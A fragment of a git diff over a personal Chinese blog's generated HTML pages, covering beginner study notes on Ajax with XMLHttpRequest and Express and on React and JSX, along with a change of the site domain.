pass\n表单的数据获取\nhallo.value\npost请求参数\npost请求参数是保存到请求头中的报文，不像get是通过链接参数传输的\nhallo.setRequestHeader(“Content-Type”,“application/x-www-forn-urlencoded”)\nhallo.send(“name=root\u0026pass=123”)\npost请求必须设置请求参数格式的类型\npost请求需要body-parser模块\nconst bodyParser = require(“body-parser”)\njson\nContent-Type属性：application/json\n{name: “root”,“pass”: “123”}\n将json对象转换为json字符串\nJSON.stringify()\najax错误处理\n获取http状态码\nhallo.status()\n","wordCount":"114","inLanguage":"en","datePublished":"2021-07-03T15:30:00Z","dateModified":"2021-07-03T15:30:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/54/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Ajax学习笔记</h1><div class=post-meta><span title='2021-07-03 15:30:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Ajax%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据</p><p>关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html</p><p>ajax需要网站环境下生效，需要web服务器，nodemon</p><p>app.js</p><pre><code>// 导入express
+const express = require(&quot;express&quot;);
+// 导入path
+const patg = require(&quot;path&quot;);
+// 创建web服务器
+const app = express();
+// 静态资源访问服务
+app.use(express.static(path.join(__dirname,&quot;public&quot;)));
+app.get(&quot;/hallo&quot;,(req, res) = &gt;{
+    res.send(&quot;hallo&quot;);
+});
+// 监听端口
+app.listen(3000);
+console.log(&quot;服务器启动成功&quot;)
+</code></pre><p>nodemon app.js</p><p>ajax运行原理</p><p>ajax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果</p><p>创建ajax对象</p><p>var hallo = new XMLHttpRequest();</p><p>请求方式和请求地址</p><p>hallo.open(&ldquo;GET&rdquo;,&ldquo;<a href=https://httpbin.org/get%22>https://httpbin.org/get"</a>)</p><p>发送请求</p><p>hallo.send();</p><p>获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据</p><pre><code>hallo.onload = function(){
+    console.log(hallo.responseText)
+}
+</code></pre><p>服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中</p><p>在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：</p><pre><code>app.get(&quot;/hallo&quot;,(req, res) = &gt;{
+    res.send({&quot;name&quot; : &quot;root&quot;});
+});
+</code></pre><p>json字符串转换为json对象</p><pre><code>var responseText = JSON.parse(hallo.responseText);
+console.log(responseText)
+var str = &quot;&lt;div&gt;&quot;+ responseText.name +&quot;&lt;/div&gt;&quot;;
+document.body.innerHTML = str;
+</code></pre><p>请求参数传递</p><p>get请求</p><p>hallo.open(&ldquo;get&rdquo;,&ldquo;<a href="https://httpbin.org/get?name=hallo&amp;pass=123%22">https://httpbin.org/get?name=hallo&amp;pass=123"</a>)</p><p>var hallo = &ldquo;name="+ names + &ldquo;&amp;pass=&rdquo; + pass</p><p>表单的数据获取</p><p>hallo.value</p><p>post请求参数</p><p>post请求参数是保存到请求头中的报文，不像get是通过链接参数传输的</p><p>hallo.setRequestHeader(&ldquo;Content-Type&rdquo;,&ldquo;application/x-www-forn-urlencoded&rdquo;)</p><p>hallo.send(&ldquo;name=root&amp;pass=123&rdquo;)</p><p>post请求必须设置请求参数格式的类型</p><p>post请求需要body-parser模块</p><p>const bodyParser = require(&ldquo;body-parser&rdquo;)</p><p>json</p><p>Content-Type属性：application/json</p><p>{name: &ldquo;root&rdquo;,&ldquo;pass&rdquo;: &ldquo;123&rdquo;}</p><p>将json对象转换为json字符串</p><p>JSON.stringify()</p><p>ajax错误处理</p><p>获取http状态码</p><p>hallo.status()</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/javascript/>JavaScript</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/55/><span class=title>« Prev</span><br><span>React学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/53/><span class=title>Next »</span><br><span>深入学习vue组件</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/55/index.html b/posts/55/index.html
index 60727612..f62a7fe3 100644
--- a/posts/55/index.html
+++ b/posts/55/index.html
@@ -7,18 +7,18 @@
 通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上
 也可以通过引入src文件的方式引入cdn文件或者本地文件
 第一个例子
-<script type=&#34;text/babel&#34;>
ReactDOM.render(
<h1>hallo,react!!!</h1>,
document.getElementById(&#34;app&#34;)
);
</script>
使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
+<script type=&#34;text/babel&#34;> ReactDOM.render( <h1>hallo,react!!!</h1>, document.getElementById(&#34;app&#34;) ); </script> 使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
 jsx是一种JavaScript语法扩展，例如：
-const hallo = <h1>hallo</h1>;
像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
+const hallo = <h1>hallo</h1>; 像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
 在jsx中插入JavaScript表达式，用大括号包含起来，例如：
-function hallo(yes){
return yes.name;
}
const yes = {
name: &#34;react&#34;
};
const hallo = <h1>hallo,{hallo(yes)}</h1>;
ReactDOM.render(
hallo,
document.getElementById(&#34;app&#34;)
);
当然react并没有强制要求必须使用jsx，例如：
-const hallo = React.createElement(&#34;h1&#34;,{class: &#34;main&#34;},React.createElement(&#34;p&#34;,null,&#34;hallo word!!!&#34;))
/* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */
ReactDOM.render(hallo,document.getElementById(&#34;app&#34;))
/* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/
react脚手架
+function hallo(yes){ return yes.name; } const yes = { name: &#34;react&#34; }; const hallo = <h1>hallo,{hallo(yes)}</h1>; ReactDOM.render( hallo, document.getElementById(&#34;app&#34;) ); 当然react并没有强制要求必须使用jsx，例如：
+const hallo = React.createElement(&#34;h1&#34;,{class: &#34;main&#34;},React.createElement(&#34;p&#34;,null,&#34;hallo word!!!&#34;)) /* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */ ReactDOM.render(hallo,document.getElementById(&#34;app&#34;)) /* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/ react脚手架
 初始化项目
 npx create-react-app app
 启动项目（在项目根目录执行）
 npm start或者yarn start
-模块化导入react"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/55/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="React学习笔记"><meta property="og:description" content="React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化
+模块化导入react"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/55/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="React学习笔记"><meta property="og:description" content="React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化
 安装react
 npm i react react-dom
 必需：react和react-dom
@@ -27,17 +27,17 @@
 通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上
 也可以通过引入src文件的方式引入cdn文件或者本地文件
 第一个例子
-<script type=&#34;text/babel&#34;>
ReactDOM.render(
<h1>hallo,react!!!</h1>,
document.getElementById(&#34;app&#34;)
);
</script>
使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
+<script type=&#34;text/babel&#34;> ReactDOM.render( <h1>hallo,react!!!</h1>, document.getElementById(&#34;app&#34;) ); </script> 使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
 jsx是一种JavaScript语法扩展，例如：
-const hallo = <h1>hallo</h1>;
像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
+const hallo = <h1>hallo</h1>; 像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
 在jsx中插入JavaScript表达式，用大括号包含起来，例如：
-function hallo(yes){
return yes.name;
}
const yes = {
name: &#34;react&#34;
};
const hallo = <h1>hallo,{hallo(yes)}</h1>;
ReactDOM.render(
hallo,
document.getElementById(&#34;app&#34;)
);
当然react并没有强制要求必须使用jsx，例如：
-const hallo = React.createElement(&#34;h1&#34;,{class: &#34;main&#34;},React.createElement(&#34;p&#34;,null,&#34;hallo word!!!&#34;))
/* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */
ReactDOM.render(hallo,document.getElementById(&#34;app&#34;))
/* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/
react脚手架
+function hallo(yes){ return yes.name; } const yes = { name: &#34;react&#34; }; const hallo = <h1>hallo,{hallo(yes)}</h1>; ReactDOM.render( hallo, document.getElementById(&#34;app&#34;) ); 当然react并没有强制要求必须使用jsx，例如：
+const hallo = React.createElement(&#34;h1&#34;,{class: &#34;main&#34;},React.createElement(&#34;p&#34;,null,&#34;hallo word!!!&#34;)) /* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */ ReactDOM.render(hallo,document.getElementById(&#34;app&#34;)) /* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/ react脚手架
 初始化项目
 npx create-react-app app
 启动项目（在项目根目录执行）
 npm start或者yarn start
-模块化导入react"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/55/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-09T22:23:00+00:00"><meta property="article:modified_time" content="2021-07-09T22:23:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="React学习笔记"><meta name=twitter:description content="React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化
+模块化导入react"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/55/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-09T22:23:00+00:00"><meta property="article:modified_time" content="2021-07-09T22:23:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="React学习笔记"><meta name=twitter:description content="React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化
 安装react
 npm i react react-dom
 必需：react和react-dom
@@ -46,590 +46,590 @@
 通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上
 也可以通过引入src文件的方式引入cdn文件或者本地文件
 第一个例子
-<script type=&#34;text/babel&#34;>
ReactDOM.render(
<h1>hallo,react!!!</h1>,
document.getElementById(&#34;app&#34;)
);
</script>
使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
+<script type=&#34;text/babel&#34;> ReactDOM.render( <h1>hallo,react!!!</h1>, document.getElementById(&#34;app&#34;) ); </script> 使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
 jsx是一种JavaScript语法扩展，例如：
-const hallo = <h1>hallo</h1>;
像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
+const hallo = <h1>hallo</h1>; 像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
 在jsx中插入JavaScript表达式，用大括号包含起来，例如：
-function hallo(yes){
return yes.name;
}
const yes = {
name: &#34;react&#34;
};
const hallo = <h1>hallo,{hallo(yes)}</h1>;
ReactDOM.render(
hallo,
document.getElementById(&#34;app&#34;)
);
当然react并没有强制要求必须使用jsx，例如：
-const hallo = React.createElement(&#34;h1&#34;,{class: &#34;main&#34;},React.createElement(&#34;p&#34;,null,&#34;hallo word!!!&#34;))
/* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */
ReactDOM.render(hallo,document.getElementById(&#34;app&#34;))
/* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/
react脚手架
+function hallo(yes){ return yes.name; } const yes = { name: &#34;react&#34; }; const hallo = <h1>hallo,{hallo(yes)}</h1>; ReactDOM.render( hallo, document.getElementById(&#34;app&#34;) ); 当然react并没有强制要求必须使用jsx，例如：
+const hallo = React.createElement(&#34;h1&#34;,{class: &#34;main&#34;},React.createElement(&#34;p&#34;,null,&#34;hallo word!!!&#34;)) /* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */ ReactDOM.render(hallo,document.getElementById(&#34;app&#34;)) /* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/ react脚手架
 初始化项目
 npx create-react-app app
 启动项目（在项目根目录执行）
 npm start或者yarn start
-模块化导入react"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"React学习笔记","item":"https://xiaochenabc123.github.io/posts/55/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"React学习笔记","name":"React学习笔记","description":"React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化\n安装react\nnpm i react react-dom\n必需：react和react-dom\nreact包是提供创建元素，组件等功能，是核心（废话）\nreact-dom包提供DOM相关的功能\n通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上\n也可以通过引入src文件的方式引入cdn文件或者本地文件\n第一个例子\n\u0026lt;script type=\u0026quot;text/babel\u0026quot;\u0026gt;\rReactDOM.render(\r\u0026lt;h1\u0026gt;hallo,react!!!\u0026lt;/h1\u0026gt;,\rdocument.getElementById(\u0026quot;app\u0026quot;)\r);\r\u0026lt;/script\u0026gt;\r使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了\njsx是一种JavaScript语法扩展，例如：\nconst hallo = \u0026lt;h1\u0026gt;hallo\u0026lt;/h1\u0026gt;;\r像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）\n在jsx中插入JavaScript表达式，用大括号包含起来，例如：\nfunction hallo(yes){\rreturn yes.name;\r}\rconst yes = {\rname: \u0026quot;react\u0026quot;\r};\rconst hallo = \u0026lt;h1\u0026gt;hallo,{hallo(yes)}\u0026lt;/h1\u0026gt;;\rReactDOM.render(\rhallo,\rdocument.getElementById(\u0026quot;app\u0026quot;)\r);\r当然react并没有强制要求必须使用jsx，例如：\nconst hallo = React.createElement(\u0026quot;h1\u0026quot;,{class: \u0026quot;main\u0026quot;},React.createElement(\u0026quot;p\u0026quot;,null,\u0026quot;hallo word!!!\u0026quot;))\r/* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */\rReactDOM.render(hallo,document.getElementById(\u0026quot;app\u0026quot;))\r/* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/\rreact脚手架\n初始化项目\nnpx create-react-app app\n启动项目（在项目根目录执行）\nnpm start或者yarn start\n模块化导入react","keywords":["React"],"articleBody":"React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化\n安装react\nnpm i react react-dom\n必需：react和react-dom\nreact包是提供创建元素，组件等功能，是核心（废话）\nreact-dom包提供DOM相关的功能\n通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上\n也可以通过引入src文件的方式引入cdn文件或者本地文件\n第一个例子\n使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了\njsx是一种JavaScript语法扩展，例如：\nconst hallo = hallo;\r像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）\n在jsx中插入JavaScript表达式，用大括号包含起来，例如：\nfunction hallo(yes){\rreturn yes.name;\r}\rconst yes = {\rname: \"react\"\r};\rconst hallo = hallo,{hallo(yes)};\rReactDOM.render(\rhallo,\rdocument.getElementById(\"app\")\r);\r当然react并没有强制要求必须使用jsx，例如：\nconst hallo = React.createElement(\"h1\",{class: \"main\"},React.createElement(\"p\",null,\"hallo word!!!\"))\r/* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */\rReactDOM.render(hallo,document.getElementById(\"app\"))\r/* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/\rreact脚手架\n初始化项目\nnpx create-react-app app\n启动项目（在项目根目录执行）\nnpm start或者yarn start\n模块化导入react\nimport React from “react” import ReactDOM from “react-dom”\nReact元素的属性名采用驼峰命名法\nclass就需要改为className，for要改为htmlFor等等，例如：\nconst app = (hallo)\r如果一个元素中没有子节点可以直接写为\n推荐使用小括号包裹jsx，避免陷入自动插入分号陷阱\nJavaScript表达式可使用大括号{}来包裹，直接使用，例如：\nconst app = (hallo，{3 \u003c 8 ? \"react\" : \"word\"})\r任何数据类型和函数调用都可以（对象除外），表示式的特点就是有值就可以，jsx本身也是个JavaScript表达式\n因为if或者for之类的语句不能出现在大括号中\n条件渲染（根据条件进行渲染指定jsx结构）\nimport React from \"react\"\rimport ReactDOM from \"react-dom\"\rconst datamain = true;\rconst hallo = () =\u003e {\rif(datamain){\rreturn hallo word;\r}\rreturn 数据加载完成;\r}\rconst app =(\r{hallo()}\r)\rReactDOM.render(app,document.getElementById(\"app\"))\r当然也是支持三元表达式的，例如：\nconst Data = () =\u003e {\rreturn datamain ? (yes) : (no)\r}\r列表渲染\nconst arrs = [\r{id: 1,name: \"root\"},\r{id: 2,name: \"admin\"},\r{id:3,name: \"user\"}\r]\rconst lists = (\r{arrs.map(item =\u003e {item.name})}\r)\rReactDOM.render(lists,document.getElementById(\"app\"))\rjsx样式\n行内样式style，类className，例如：\nconst app = (","wordCount":"1221","inLanguage":"en","datePublished":"2021-07-09T22:23:00Z","dateModified":"2021-07-09T22:23:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/55/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" 